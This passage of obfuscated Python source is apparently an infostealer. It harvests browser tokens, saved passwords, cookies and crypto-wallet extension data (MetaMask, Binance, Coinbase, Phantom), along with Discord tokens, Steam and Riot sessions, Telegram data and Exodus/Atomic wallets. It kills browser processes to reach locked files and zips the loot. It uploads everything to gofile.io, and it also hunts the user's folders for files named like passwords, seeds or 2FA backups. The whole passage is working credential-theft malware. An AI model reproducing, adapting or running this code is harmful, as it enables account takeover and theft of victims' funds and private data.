pathC = path + arg
if "fhbohimaelbohpjbbldcngcnapndodjp" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Binance_{browser}"
pathC = path + arg
if "hnfanknocfeofbddgcijnmhnfnkdnaad" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Coinbase_{browser}"
pathC = path + arg
if "egjidjbpglichdcondbcbdnbeeppgdph" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Trust_{browser}"
pathC = path + arg
if "bfnaelmomeimhlpmgjnjophhpkkoljpa" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"Phantom_{browser}"
pathC = path + arg
if not os.path.exists(pathC): return
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
if "Wallet" in arg:
browser = path.split("\\")[4].split("/")[1].replace(' ', '')
name = f"{browser}"
elif "Steam" in arg:
if not os.path.isfile(f"{pathC}/loginusers.vdf"): return
f = open(f"{pathC}/loginusers.vdf", "r+", encoding="utf8")
data = f.readlines()
# print(data)
found = False
for l in data:
if 'RememberPassword"\t\t"1"' in l:
found = True
if found == False: return
name = arg
zf = ZipFile(f"{pathC}/{name}.zip", "w")
for file in os.listdir(pathC):
if not ".zip" in file: zf.write(pathC + "/" + file)
zf.close()
lnik = uP104D7060F113(f'{pathC}/{name}.zip')
#lnik = "https://google.com"
os.remove(f"{pathC}/{name}.zip")
if "Wallet" in arg or "eogaeaoehlef" in arg or "koplchlghecd" in arg or "aelbohpjbbld" in arg or "nocfeofbddgc" in arg or "bpglichdcond" in arg or "momeimhlpmgj" in arg or "dialjgjfhomi" in arg:
W411375Z1p.append([name, lnik])
elif "Steam" in name or "RiotCli" in name:
G4M1N6Z1p.append([name, lnik])
else:
O7H3rZ1p.append([name, lnik])
def G47H3r411():
' Default Path < 0 > ProcesName < 1 > Token < 2 > Password < 3 > Cookies < 4 > Extentions < 5 > '
br0W53rP47H5 = [
[f"{roaming}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{roaming}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno" ],
[f"{roaming}/Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{roaming}/Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno" ],
[f"{roaming}/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{roaming}/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/fhbohimaelbohpjbbldcngcnapndodjp" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/hnfanknocfeofbddgcijnmhnfnkdnaad" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/aholpfdialjgjfhomihkjbmgjidlcdno" ],
[f"{local}/Yandex/YandexBrowser/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/HougaBouga/nkbihfbeogaeaoehlefnkodbefgpgknn" ],
[f"{local}/Microsoft/Edge/User Data", "edge.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm" ]
]
d15C0rDP47H5 = [
[f"{roaming}/Discord", "/Local Storage/leveldb"],
[f"{roaming}/Lightcord", "/Local Storage/leveldb"],
[f"{roaming}/discordcanary", "/Local Storage/leveldb"],
[f"{roaming}/discordptb", "/Local Storage/leveldb"],
]
P47H570Z1P = [
[f"{roaming}/Atomic/Local Storage/leveldb", '"Atomic Wallet.exe"', "Wallet"],
[f"{roaming}/Exodus/exodus.wallet", "Exodus.exe", "Wallet"],
["C:\Program Files (x86)\Steam\config", "steam.exe", "Steam"],
[f"{local}/Riot Games/Riot Client/Data", "RiotClientServices.exe", "RiotClient"]
]
Telegram = [f"{roaming}/Telegram Desktop/tdata", 'telegram.exe', "Telegram"]
for patt in br0W53rP47H5:
a = threading.Thread(target=g3770K3N, args=[patt[0], patt[2]])
a.start()
Threadlist.append(a)
for patt in d15C0rDP47H5:
a = threading.Thread(target=G37D15C0rD, args=[patt[0], patt[1]])
a.start()
Threadlist.append(a)
for patt in br0W53rP47H5:
a = threading.Thread(target=g37P455w, args=[patt[0], patt[3]])
a.start()
Threadlist.append(a)
ThCokk = []
for patt in br0W53rP47H5:
a = threading.Thread(target=g37C00K13, args=[patt[0], patt[4]])
a.start()
ThCokk.append(a)
threading.Thread(target=G47H3rZ1P5, args=[br0W53rP47H5, P47H570Z1P, Telegram]).start()
for thread in ThCokk: thread.join()
DETECTED = TrU57(C00K13s)
if DETECTED == True: return
for thread in Threadlist:
thread.join()
global uP7Hs
uP7Hs = []
for file in ["cspassw.txt", "cscook.txt"]:
# upload(os.getenv("TEMP") + "\\" + file)
UP104D(file.replace(".txt", ""), uP104D7060F113(os.getenv("TEMP") + "\\" + file))
def uP104D7060F113(path):
try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
except:return False
def K1W1F01D3r(pathF, keywords):
global K1W1F113s
maxfilesperdir = 7
i = 0
listOfFile = os.listdir(pathF)
ffound = []
for file in listOfFile:
if not os.path.isfile(pathF + "/" + file): return
i += 1
if i <= maxfilesperdir:
url = uP104D7060F113(pathF + "/" + file)
ffound.append([pathF + "/" + file, url])
else:
break
K1W1F113s.append(["folder", pathF + "/", ffound])
K1W1F113s = []
def K1W1F113(path, keywords):
global K1W1F113s
fifound = []
listOfFile = os.listdir(path)
for file in listOfFile:
for worf in keywords:
if worf in file.lower():
if os.path.isfile(path + "/" + file) and ".txt" in file:
fifound.append([path + "/" + file, uP104D7060F113(path + "/" + file)])
break
if os.path.isdir(path + "/" + file):
target = path + "/" + file
K1W1F01D3r(target, keywords)
break
K1W1F113s.append(["folder", path, fifound])
def K1W1():
user = temp.split("\AppData")[0]
path2search = [
user + "/Desktop",
user + "/Downloads",
user + "/Documents"
]
key_wordsFolder = [
"account",
"acount",
"passw",
"secret",
"senhas",
"contas",
"backup",
"2fa",
"importante",
"privado",
"exodus",
"seed",
"seedphrase"
"exposed",
"perder",
"amigos",
"empresa",
"trabalho",
"work",
"private",
"source",
"users",
"username",
"login",
"user",
"usuario",
"log"
]